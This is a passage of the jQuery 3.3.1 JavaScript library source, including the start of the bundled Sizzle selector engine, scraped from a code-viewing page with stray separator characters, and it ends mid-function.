15634 lines
428 KiB
JavaScript
15634 lines
428 KiB
JavaScript
/*!
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* jQuery JavaScript Library v3.3.1
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* https://jquery.com/
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*
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* Includes Sizzle.js
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* https://sizzlejs.com/
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*
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* Copyright JS Foundation and other contributors
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* Released under the MIT license
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* https://jquery.org/license
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*
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* Date: 2018-01-20T17:24Z
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*/
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( function( global, factory ) {
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"use strict";
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if ( typeof module === "object" && typeof module.exports === "object" ) {
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// For CommonJS and CommonJS-like environments where a proper `window`
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// is present, execute the factory and get jQuery.
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// For environments that do not have a `window` with a `document`
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// (such as Node.js), expose a factory as module.exports.
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// This accentuates the need for the creation of a real `window`.
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// e.g. var jQuery = require("jquery")(window);
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// See ticket #14549 for more info.
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module.exports = global.document ?
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factory( global, true ) :
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function( w ) {
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if ( !w.document ) {
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throw new Error( "jQuery requires a window with a document" );
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}
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return factory( w );
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};
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} else {
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factory( global );
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}
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// Pass this if window is not defined yet
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} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
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// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1
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// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode
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// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common
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// enough that all such attempts are guarded in a try block.
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"use strict";
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var arr = [];
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var document = window.document;
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var getProto = Object.getPrototypeOf;
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var slice = arr.slice;
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var concat = arr.concat;
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var push = arr.push;
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var indexOf = arr.indexOf;
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var class2type = {};
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var toString = class2type.toString;
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var hasOwn = class2type.hasOwnProperty;
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var fnToString = hasOwn.toString;
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var ObjectFunctionString = fnToString.call( Object );
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var support = {};
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var isFunction = function isFunction( obj ) {
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// Support: Chrome <=57, Firefox <=52
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// In some browsers, typeof returns "function" for HTML <object> elements
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// (i.e., `typeof document.createElement( "object" ) === "function"`).
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// We don't want to classify *any* DOM node as a function.
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return typeof obj === "function" && typeof obj.nodeType !== "number";
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};
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var isWindow = function isWindow( obj ) {
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return obj != null && obj === obj.window;
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};
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var preservedScriptAttributes = {
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type: true,
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src: true,
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noModule: true
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};
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function DOMEval( code, doc, node ) {
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doc = doc || document;
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var i,
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script = doc.createElement( "script" );
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script.text = code;
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if ( node ) {
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for ( i in preservedScriptAttributes ) {
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if ( node[ i ] ) {
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script[ i ] = node[ i ];
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}
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}
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}
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doc.head.appendChild( script ).parentNode.removeChild( script );
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}
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function toType( obj ) {
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if ( obj == null ) {
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return obj + "";
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}
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// Support: Android <=2.3 only (functionish RegExp)
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return typeof obj === "object" || typeof obj === "function" ?
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class2type[ toString.call( obj ) ] || "object" :
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typeof obj;
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}
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/* global Symbol */
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// Defining this global in .eslintrc.json would create a danger of using the global
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// unguarded in another place, it seems safer to define global only for this module
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var
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version = "3.3.1",
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// Define a local copy of jQuery
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jQuery = function( selector, context ) {
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// The jQuery object is actually just the init constructor 'enhanced'
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// Need init if jQuery is called (just allow error to be thrown if not included)
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return new jQuery.fn.init( selector, context );
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},
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// Support: Android <=4.0 only
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// Make sure we trim BOM and NBSP
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rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
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jQuery.fn = jQuery.prototype = {
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// The current version of jQuery being used
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jquery: version,
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constructor: jQuery,
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// The default length of a jQuery object is 0
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length: 0,
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toArray: function() {
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return slice.call( this );
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},
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// Get the Nth element in the matched element set OR
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// Get the whole matched element set as a clean array
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get: function( num ) {
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// Return all the elements in a clean array
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if ( num == null ) {
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return slice.call( this );
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}
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// Return just the one element from the set
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return num < 0 ? this[ num + this.length ] : this[ num ];
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},
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// Take an array of elements and push it onto the stack
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// (returning the new matched element set)
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pushStack: function( elems ) {
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// Build a new jQuery matched element set
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var ret = jQuery.merge( this.constructor(), elems );
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// Add the old object onto the stack (as a reference)
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ret.prevObject = this;
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// Return the newly-formed element set
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return ret;
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},
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// Execute a callback for every element in the matched set.
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each: function( callback ) {
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return jQuery.each( this, callback );
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},
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map: function( callback ) {
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return this.pushStack( jQuery.map( this, function( elem, i ) {
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return callback.call( elem, i, elem );
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} ) );
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},
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slice: function() {
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return this.pushStack( slice.apply( this, arguments ) );
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},
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first: function() {
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return this.eq( 0 );
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},
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last: function() {
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return this.eq( -1 );
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},
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eq: function( i ) {
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var len = this.length,
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j = +i + ( i < 0 ? len : 0 );
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return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
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},
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end: function() {
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return this.prevObject || this.constructor();
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},
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// For internal use only.
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// Behaves like an Array's method, not like a jQuery method.
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push: push,
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sort: arr.sort,
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splice: arr.splice
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};
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jQuery.extend = jQuery.fn.extend = function() {
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var options, name, src, copy, copyIsArray, clone,
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target = arguments[ 0 ] || {},
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i = 1,
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length = arguments.length,
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deep = false;
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// Handle a deep copy situation
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if ( typeof target === "boolean" ) {
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deep = target;
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// Skip the boolean and the target
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target = arguments[ i ] || {};
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i++;
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}
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// Handle case when target is a string or something (possible in deep copy)
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if ( typeof target !== "object" && !isFunction( target ) ) {
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target = {};
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}
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// Extend jQuery itself if only one argument is passed
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if ( i === length ) {
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target = this;
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i--;
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}
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for ( ; i < length; i++ ) {
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// Only deal with non-null/undefined values
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if ( ( options = arguments[ i ] ) != null ) {
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// Extend the base object
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for ( name in options ) {
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src = target[ name ];
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copy = options[ name ];
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// Prevent never-ending loop
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if ( target === copy ) {
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continue;
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}
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// Recurse if we're merging plain objects or arrays
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if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
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( copyIsArray = Array.isArray( copy ) ) ) ) {
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if ( copyIsArray ) {
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copyIsArray = false;
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clone = src && Array.isArray( src ) ? src : [];
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} else {
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clone = src && jQuery.isPlainObject( src ) ? src : {};
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}
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// Never move original objects, clone them
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target[ name ] = jQuery.extend( deep, clone, copy );
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// Don't bring in undefined values
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} else if ( copy !== undefined ) {
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target[ name ] = copy;
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}
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}
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}
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}
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// Return the modified object
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return target;
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};
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jQuery.extend( {
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// Unique for each copy of jQuery on the page
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expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
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// Assume jQuery is ready without the ready module
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isReady: true,
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error: function( msg ) {
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throw new Error( msg );
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},
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noop: function() {},
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isPlainObject: function( obj ) {
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var proto, Ctor;
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// Detect obvious negatives
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// Use toString instead of jQuery.type to catch host objects
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if ( !obj || toString.call( obj ) !== "[object Object]" ) {
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return false;
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}
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proto = getProto( obj );
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// Objects with no prototype (e.g., `Object.create( null )`) are plain
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if ( !proto ) {
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return true;
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}
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// Objects with prototype are plain iff they were constructed by a global Object function
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Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
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return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
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},
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isEmptyObject: function( obj ) {
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/* eslint-disable no-unused-vars */
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// See https://github.com/eslint/eslint/issues/6125
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var name;
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for ( name in obj ) {
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return false;
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}
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return true;
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},
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// Evaluates a script in a global context
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globalEval: function( code ) {
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DOMEval( code );
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},
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each: function( obj, callback ) {
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var length, i = 0;
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if ( isArrayLike( obj ) ) {
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length = obj.length;
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for ( ; i < length; i++ ) {
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if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
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break;
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}
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}
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} else {
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for ( i in obj ) {
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if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
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break;
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}
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}
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}
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return obj;
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},
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// Support: Android <=4.0 only
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trim: function( text ) {
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return text == null ?
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"" :
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( text + "" ).replace( rtrim, "" );
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},
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// results is for internal usage only
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makeArray: function( arr, results ) {
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var ret = results || [];
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if ( arr != null ) {
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if ( isArrayLike( Object( arr ) ) ) {
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jQuery.merge( ret,
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typeof arr === "string" ?
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[ arr ] : arr
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);
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} else {
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push.call( ret, arr );
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}
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}
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return ret;
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},
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inArray: function( elem, arr, i ) {
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return arr == null ? -1 : indexOf.call( arr, elem, i );
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},
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// Support: Android <=4.0 only, PhantomJS 1 only
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// push.apply(_, arraylike) throws on ancient WebKit
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merge: function( first, second ) {
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var len = +second.length,
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j = 0,
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i = first.length;
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for ( ; j < len; j++ ) {
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first[ i++ ] = second[ j ];
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}
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first.length = i;
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return first;
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},
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grep: function( elems, callback, invert ) {
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var callbackInverse,
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matches = [],
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i = 0,
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length = elems.length,
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callbackExpect = !invert;
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// Go through the array, only saving the items
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// that pass the validator function
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for ( ; i < length; i++ ) {
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callbackInverse = !callback( elems[ i ], i );
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if ( callbackInverse !== callbackExpect ) {
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matches.push( elems[ i ] );
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}
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}
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return matches;
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},
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// arg is for internal usage only
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map: function( elems, callback, arg ) {
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var length, value,
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i = 0,
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ret = [];
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// Go through the array, translating each of the items to their new values
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if ( isArrayLike( elems ) ) {
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length = elems.length;
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for ( ; i < length; i++ ) {
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value = callback( elems[ i ], i, arg );
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if ( value != null ) {
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ret.push( value );
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}
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}
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// Go through every key on the object,
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} else {
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for ( i in elems ) {
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value = callback( elems[ i ], i, arg );
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if ( value != null ) {
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ret.push( value );
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}
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}
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}
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// Flatten any nested arrays
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return concat.apply( [], ret );
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},
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// A global GUID counter for objects
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guid: 1,
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// jQuery.support is not used in Core but other projects attach their
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// properties to it so it needs to exist.
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support: support
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} );
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if ( typeof Symbol === "function" ) {
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jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
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}
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// Populate the class2type map
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jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
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function( i, name ) {
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class2type[ "[object " + name + "]" ] = name.toLowerCase();
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} );
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function isArrayLike( obj ) {
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// Support: real iOS 8.2 only (not reproducible in simulator)
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// `in` check used to prevent JIT error (gh-2145)
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// hasOwn isn't used here due to false negatives
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// regarding Nodelist length in IE
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var length = !!obj && "length" in obj && obj.length,
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type = toType( obj );
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if ( isFunction( obj ) || isWindow( obj ) ) {
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return false;
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}
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return type === "array" || length === 0 ||
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typeof length === "number" && length > 0 && ( length - 1 ) in obj;
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}
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var Sizzle =
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/*!
|
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* Sizzle CSS Selector Engine v2.3.3
|
|
* https://sizzlejs.com/
|
|
*
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* Copyright jQuery Foundation and other contributors
|
|
* Released under the MIT license
|
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* http://jquery.org/license
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*
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* Date: 2016-08-08
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*/
|
|
(function( window ) {
|
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|
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var i,
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support,
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Expr,
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getText,
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isXML,
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tokenize,
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compile,
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select,
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outermostContext,
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sortInput,
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hasDuplicate,
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// Local document vars
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setDocument,
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document,
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docElem,
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documentIsHTML,
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rbuggyQSA,
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rbuggyMatches,
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matches,
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contains,
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|
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// Instance-specific data
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expando = "sizzle" + 1 * new Date(),
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preferredDoc = window.document,
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dirruns = 0,
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done = 0,
|
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classCache = createCache(),
|
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tokenCache = createCache(),
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compilerCache = createCache(),
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|
sortOrder = function( a, b ) {
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if ( a === b ) {
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hasDuplicate = true;
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}
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return 0;
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},
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|
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// Instance methods
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|
hasOwn = ({}).hasOwnProperty,
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arr = [],
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pop = arr.pop,
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push_native = arr.push,
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push = arr.push,
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slice = arr.slice,
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|
// Use a stripped-down indexOf as it's faster than native
|
|
// https://jsperf.com/thor-indexof-vs-for/5
|
|
indexOf = function( list, elem ) {
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var i = 0,
|
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len = list.length;
|
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for ( ; i < len; i++ ) {
|
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if ( list[i] === elem ) {
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return i;
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}
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}
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return -1;
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},
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booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
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|
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// Regular expressions
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|
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// http://www.w3.org/TR/css3-selectors/#whitespace
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whitespace = "[\\x20\\t\\r\\n\\f]",
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|
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// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
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|
identifier = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+",
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|
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// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
|
|
attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +
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|
// Operator (capture 2)
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|
"*([*^$|!~]?=)" + whitespace +
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// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
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|
"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace +
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"*\\]",
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pseudos = ":(" + identifier + ")(?:\\((" +
|
|
// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
|
|
// 1. quoted (capture 3; capture 4 or capture 5)
|
|
"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
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|
// 2. simple (capture 6)
|
|
"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
|
|
// 3. anything else (capture 2)
|
|
".*" +
|
|
")\\)|)",
|
|
|
|
// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
|
|
rwhitespace = new RegExp( whitespace + "+", "g" ),
|
|
rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
|
|
|
|
rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
|
|
rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
|
|
|
|
rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
|
|
|
|
rpseudo = new RegExp( pseudos ),
|
|
ridentifier = new RegExp( "^" + identifier + "$" ),
|
|
|
|
matchExpr = {
|
|
"ID": new RegExp( "^#(" + identifier + ")" ),
|
|
"CLASS": new RegExp( "^\\.(" + identifier + ")" ),
|
|
"TAG": new RegExp( "^(" + identifier + "|[*])" ),
|
|
"ATTR": new RegExp( "^" + attributes ),
|
|
"PSEUDO": new RegExp( "^" + pseudos ),
|
|
"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
|
|
"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
|
|
"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
|
|
"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
|
|
// For use in libraries implementing .is()
|
|
// We use this for POS matching in `select`
|
|
"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
|
|
whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
|
|
},
|
|
|
|
rinputs = /^(?:input|select|textarea|button)$/i,
|
|
rheader = /^h\d$/i,
|
|
|
|
rnative = /^[^{]+\{\s*\[native \w/,
|
|
|
|
// Easily-parseable/retrievable ID or TAG or CLASS selectors
|
|
rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
|
|
|
|
rsibling = /[+~]/,
|
|
|
|
// CSS escapes
|
|
// http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
|
|
runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
|
|
funescape = function( _, escaped, escapedWhitespace ) {
|
|
var high = "0x" + escaped - 0x10000;
|
|
// NaN means non-codepoint
|
|
// Support: Firefox<24
|
|
// Workaround erroneous numeric interpretation of +"0x"
|
|
return high !== high || escapedWhitespace ?
|
|
escaped :
|
|
high < 0 ?
|
|
// BMP codepoint
|
|
String.fromCharCode( high + 0x10000 ) :
|
|
// Supplemental Plane codepoint (surrogate pair)
|
|
String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
|
|
},
|
|
|
|
// CSS string/identifier serialization
|
|
// https://drafts.csswg.org/cssom/#common-serializing-idioms
|
|
rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,
|
|
fcssescape = function( ch, asCodePoint ) {
|
|
if ( asCodePoint ) {
|
|
|
|
// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
|
|
if ( ch === "\0" ) {
|
|
return "\uFFFD";
|
|
}
|
|
|
|
// Control characters and (dependent upon position) numbers get escaped as code points
|
|
return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
|
|
}
|
|
|
|
// Other potentially-special ASCII characters get backslash-escaped
|
|
return "\\" + ch;
|
|
},
|
|
|
|
// Used for iframes
|
|
// See setDocument()
|
|
// Removing the function wrapper causes a "Permission Denied"
|
|
// error in IE
|
|
unloadHandler = function() {
|
|
setDocument();
|
|
},
|
|
|
|
disabledAncestor = addCombinator(
|
|
function( elem ) {
|
|
return elem.disabled === true && ("form" in elem || "label" in elem);
|
|
},
|
|
{ dir: "parentNode", next: "legend" }
|
|
);
|
|
|
|
// Optimize for push.apply( _, NodeList )
|
|
try {
|
|
push.apply(
|
|
(arr = slice.call( preferredDoc.childNodes )),
|
|
preferredDoc.childNodes
|
|
);
|
|
// Support: Android<4.0
|
|
// Detect silently failing push.apply
|
|
arr[ preferredDoc.childNodes.length ].nodeType;
|
|
} catch ( e ) {
|
|
push = { apply: arr.length ?
|
|
|
|
// Leverage slice if possible
|
|
function( target, els ) {
|
|
push_native.apply( target, slice.call(els) );
|
|
} :
|
|
|
|
// Support: IE<9
|
|
// Otherwise append directly
|
|
function( target, els ) {
|
|
var j = target.length,
|
|
i = 0;
|
|
// Can't trust NodeList.length
|
|
while ( (target[j++] = els[i++]) ) {}
|
|
target.length = j - 1;
|
|
}
|
|
};
|
|
}
|
|
|
|
function Sizzle( selector, context, results, seed ) {
|
|
var m, i, elem, nid, match, groups, newSelector,
|
|
newContext = context && context.ownerDocument,
|
|
|
|
// nodeType defaults to 9, since context defaults to document
|
|
nodeType = context ? context.nodeType : 9;
|
|
|
|
results = results || [];
|
|
|
|
// Return early from calls with invalid selector or context
|
|
if ( typeof selector !== "string" || !selector ||
|
|
nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {
|
|
|
|
return results;
|
|
}
|
|
|
|
// Try to shortcut find operations (as opposed to filters) in HTML documents
|
|
if ( !seed ) {
|
|
|
|
if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
|
|
setDocument( context );
|
|
}
|
|
context = context || document;
|
|
|
|
if ( documentIsHTML ) {
|
|
|
|
// If the selector is sufficiently simple, try using a "get*By*" DOM method
|
|
// (excepting DocumentFragment context, where the methods don't exist)
|
|
if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {
|
|
|
|
// ID selector
|
|
if ( (m = match[1]) ) {
|
|
|
|
// Document context
|
|
if ( nodeType === 9 ) {
|
|
if ( (elem = context.getElementById( m )) ) {
|
|
|
|
// Support: IE, Opera, Webkit
|
|
// TODO: identify versions
|
|
// getElementById can match elements by name instead of ID
|
|
if ( elem.id === m ) {
|
|
results.push( elem );
|
|
return results;
|
|
}
|
|
} else {
|
|
return results;
|
|
}
|
|
|
|
// Element context
|
|
} else {
|
|
|
|
// Support: IE, Opera, Webkit
|
|
// TODO: identify versions
|
|
// getElementById can match elements by name instead of ID
|
|
if ( newContext && (elem = newContext.getElementById( m )) &&
|
|
contains( context, elem ) &&
|
|
elem.id === m ) {
|
|
|
|
results.push( elem );
|
|
return results;
|
|
}
|
|
}
|
|
|
|
// Type selector
|
|
} else if ( match[2] ) {
|
|
push.apply( results, context.getElementsByTagName( selector ) );
|
|
return results;
|
|
|
|
// Class selector
|
|
} else if ( (m = match[3]) && support.getElementsByClassName &&
|
|
context.getElementsByClassName ) {
|
|
|
|
push.apply( results, context.getElementsByClassName( m ) );
|
|
return results;
|
|
}
|
|
}
|
|
|
|
// Take advantage of querySelectorAll
|
|
if ( support.qsa &&
|
|
!compilerCache[ selector + " " ] &&
|
|
(!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
|
|
|
|
if ( nodeType !== 1 ) {
|
|
newContext = context;
|
|
newSelector = selector;
|
|
|
|
// qSA looks outside Element context, which is not what we want
|
|
// Thanks to Andrew Dupont for this workaround technique
|
|
// Support: IE <=8
|
|
// Exclude object elements
|
|
} else if ( context.nodeName.toLowerCase() !== "object" ) {
|
|
|
|
// Capture the context ID, setting it first if necessary
|
|
if ( (nid = context.getAttribute( "id" )) ) {
|
|
nid = nid.replace( rcssescape, fcssescape );
|
|
} else {
|
|
context.setAttribute( "id", (nid = expando) );
|
|
}
|
|
|
|
// Prefix every selector in the list
|
|
groups = tokenize( selector );
|
|
i = groups.length;
|
|
while ( i-- ) {
|
|
groups[i] = "#" + nid + " " + toSelector( groups[i] );
|
|
}
|
|
newSelector = groups.join( "," );
|
|
|
|
// Expand context for sibling selectors
|
|
newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
|
|
context;
|
|
}
|
|
|
|
if ( newSelector ) {
|
|
try {
|
|
push.apply( results,
|
|
newContext.querySelectorAll( newSelector )
|
|
);
|
|
return results;
|
|
} catch ( qsaError ) {
|
|
} finally {
|
|
if ( nid === expando ) {
|
|
context.removeAttribute( "id" );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// All others
|
|
return select( selector.replace( rtrim, "$1" ), context, results, seed );
|
|
}
|
|
|
|
/**
|
|
* Create key-value caches of limited size
|
|
* @returns {function(string, object)} Returns the Object data after storing it on itself with
|
|
* property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
|
|
* deleting the oldest entry
|
|
*/
|
|
function createCache() {
|
|
var keys = [];
|
|
|
|
function cache( key, value ) {
|
|
// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
|
|
if ( keys.push( key + " " ) > Expr.cacheLength ) {
|
|
// Only keep the most recent entries
|
|
delete cache[ keys.shift() ];
|
|
}
|
|
return (cache[ key + " " ] = value);
|
|
}
|
|
return cache;
|
|
}
|
|
|
|
/**
|
|
* Mark a function for special use by Sizzle
|
|
* @param {Function} fn The function to mark
|
|
*/
|
|
function markFunction( fn ) {
|
|
fn[ expando ] = true;
|
|
return fn;
|
|
}
|
|
|
|
/**
|
|
* Support testing using an element
|
|
* @param {Function} fn Passed the created element and returns a boolean result
|
|
*/
|
|
function assert( fn ) {
|
|
var el = document.createElement("fieldset");
|
|
|
|
try {
|
|
return !!fn( el );
|
|
} catch (e) {
|
|
return false;
|
|
} finally {
|
|
// Remove from its parent by default
|
|
if ( el.parentNode ) {
|
|
el.parentNode.removeChild( el );
|
|
}
|
|
// release memory in IE
|
|
el = null;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Adds the same handler for all of the specified attrs
|
|
* @param {String} attrs Pipe-separated list of attributes
|
|
* @param {Function} handler The method that will be applied
|
|
*/
|
|
function addHandle( attrs, handler ) {
|
|
var arr = attrs.split("|"),
|
|
i = arr.length;
|
|
|
|
while ( i-- ) {
|
|
Expr.attrHandle[ arr[i] ] = handler;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Checks document order of two siblings
|
|
* @param {Element} a
|
|
* @param {Element} b
|
|
* @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
|
|
*/
|
|
function siblingCheck( a, b ) {
|
|
var cur = b && a,
|
|
diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
|
|
a.sourceIndex - b.sourceIndex;
|
|
|
|
// Use IE sourceIndex if available on both nodes
|
|
if ( diff ) {
|
|
return diff;
|
|
}
|
|
|
|
// Check if b follows a
|
|
if ( cur ) {
|
|
while ( (cur = cur.nextSibling) ) {
|
|
if ( cur === b ) {
|
|
return -1;
|
|
}
|
|
}
|
|
}
|
|
|
|
return a ? 1 : -1;
|
|
}
|
|
|
|
/**
|
|
* Returns a function to use in pseudos for input types
|
|
* @param {String} type
|
|
*/
|
|
function createInputPseudo( type ) {
|
|
return function( elem ) {
|
|
var name = elem.nodeName.toLowerCase();
|
|
return name === "input" && elem.type === type;
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Returns a function to use in pseudos for buttons
|
|
* @param {String} type
|
|
*/
|
|
function createButtonPseudo( type ) {
|
|
return function( elem ) {
|
|
var name = elem.nodeName.toLowerCase();
|
|
return (name === "input" || name === "button") && elem.type === type;
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Returns a function to use in pseudos for :enabled/:disabled
|
|
* @param {Boolean} disabled true for :disabled; false for :enabled
|
|
*/
|
|
function createDisabledPseudo( disabled ) {
|
|
|
|
// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable
|
|
return function( elem ) {
|
|
|
|
// Only certain elements can match :enabled or :disabled
|
|
// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
|
|
// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
|
|
if ( "form" in elem ) {
|
|
|
|
// Check for inherited disabledness on relevant non-disabled elements:
|
|
// * listed form-associated elements in a disabled fieldset
|
|
// https://html.spec.whatwg.org/multipage/forms.html#category-listed
|
|
// https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
|
|
// * option elements in a disabled optgroup
|
|
// https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
|
|
// All such elements have a "form" property.
|
|
if ( elem.parentNode && elem.disabled === false ) {
|
|
|
|
// Option elements defer to a parent optgroup if present
|
|
if ( "label" in elem ) {
|
|
if ( "label" in elem.parentNode ) {
|
|
return elem.parentNode.disabled === disabled;
|
|
} else {
|
|
return elem.disabled === disabled;
|
|
}
|
|
}
|
|
|
|
// Support: IE 6 - 11
|
|
// Use the isDisabled shortcut property to check for disabled fieldset ancestors
|
|
return elem.isDisabled === disabled ||
|
|
|
|
// Where there is no isDisabled, check manually
|
|
/* jshint -W018 */
|
|
elem.isDisabled !== !disabled &&
|
|
disabledAncestor( elem ) === disabled;
|
|
}
|
|
|
|
return elem.disabled === disabled;
|
|
|
|
// Try to winnow out elements that can't be disabled before trusting the disabled property.
|
|
// Some victims get caught in our net (label, legend, menu, track), but it shouldn't
|
|
// even exist on them, let alone have a boolean value.
|
|
} else if ( "label" in elem ) {
|
|
return elem.disabled === disabled;
|
|
}
|
|
|
|
// Remaining elements are neither :enabled nor :disabled
|
|
return false;
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Returns a function to use in pseudos for positionals
|
|
* @param {Function} fn
|
|
*/
|
|
function createPositionalPseudo( fn ) {
|
|
return markFunction(function( argument ) {
|
|
argument = +argument;
|
|
return markFunction(function( seed, matches ) {
|
|
var j,
|
|
matchIndexes = fn( [], seed.length, argument ),
|
|
i = matchIndexes.length;
|
|
|
|
// Match elements found at the specified indexes
|
|
while ( i-- ) {
|
|
if ( seed[ (j = matchIndexes[i]) ] ) {
|
|
seed[j] = !(matches[j] = seed[j]);
|
|
}
|
|
}
|
|
});
|
|
});
|
|
}
|
|
|
|
/**
|
|
* Checks a node for validity as a Sizzle context
|
|
* @param {Element|Object=} context
|
|
* @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
|
|
*/
|
|
function testContext( context ) {
|
|
return context && typeof context.getElementsByTagName !== "undefined" && context;
|
|
}
|
|
|
|
// Expose support vars for convenience
|
|
support = Sizzle.support = {};
|
|
|
|
/**
|
|
* Detects XML nodes
|
|
* @param {Element|Object} elem An element or a document
|
|
* @returns {Boolean} True iff elem is a non-HTML XML node
|
|
*/
|
|
isXML = Sizzle.isXML = function( elem ) {
|
|
// documentElement is verified for cases where it doesn't yet exist
|
|
// (such as loading iframes in IE - #4833)
|
|
var documentElement = elem && (elem.ownerDocument || elem).documentElement;
|
|
return documentElement ? documentElement.nodeName !== "HTML" : false;
|
|
};
|
|
|
|
/**
|
|
* Sets document-related variables once based on the current document
|
|
* @param {Element|Object} [doc] An element or document object to use to set the document
|
|
* @returns {Object} Returns the current document
|
|
*/
|
|
setDocument = Sizzle.setDocument = function( node ) {
|
|
var hasCompare, subWindow,
|
|
doc = node ? node.ownerDocument || node : preferredDoc;
|
|
|
|
// Return early if doc is invalid or already selected
|
|
if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
|
|
return document;
|
|
}
|
|
|
|
// Update global variables
|
|
document = doc;
|
|
docElem = document.documentElement;
|
|
documentIsHTML = !isXML( document );
|
|
|
|
// Support: IE 9-11, Edge
|
|
// Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936)
|
|
if ( preferredDoc !== document &&
|
|
(subWindow = document.defaultView) && subWindow.top !== subWindow ) {
|
|
|
|
// Support: IE 11, Edge
|
|
if ( subWindow.addEventListener ) {
|
|
subWindow.addEventListener( "unload", unloadHandler, false );
|
|
|
|
// Support: IE 9 - 10 only
|
|
} else if ( subWindow.attachEvent ) {
|
|
subWindow.attachEvent( "onunload", unloadHandler );
|
|
}
|
|
}
|
|
|
|
/* Attributes
|
|
---------------------------------------------------------------------- */
|
|
|
|
// Support: IE<8
|
|
// Verify that getAttribute really returns attributes and not properties
|
|
// (excepting IE8 booleans)
|
|
support.attributes = assert(function( el ) {
|
|
el.className = "i";
|
|
return !el.getAttribute("className");
|
|
});
|
|
|
|
/* getElement(s)By*
|
|
---------------------------------------------------------------------- */
|
|
|
|
// Check if getElementsByTagName("*") returns only elements
|
|
support.getElementsByTagName = assert(function( el ) {
|
|
el.appendChild( document.createComment("") );
|
|
return !el.getElementsByTagName("*").length;
|
|
});
|
|
|
|
// Support: IE<9
|
|
support.getElementsByClassName = rnative.test( document.getElementsByClassName );
|
|
|
|
// Support: IE<10
|
|
// Check if getElementById returns elements by name
|
|
// The broken getElementById methods don't pick up programmatically-set names,
|
|
// so use a roundabout getElementsByName test
|
|
support.getById = assert(function( el ) {
|
|
docElem.appendChild( el ).id = expando;
|
|
return !document.getElementsByName || !document.getElementsByName( expando ).length;
|
|
});
|
|
|
|
// ID filter and find
|
|
if ( support.getById ) {
|
|
Expr.filter["ID"] = function( id ) {
|
|
var attrId = id.replace( runescape, funescape );
|
|
return function( elem ) {
|
|
return elem.getAttribute("id") === attrId;
|
|
};
|
|
};
|
|
Expr.find["ID"] = function( id, context ) {
|
|
if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
|
|
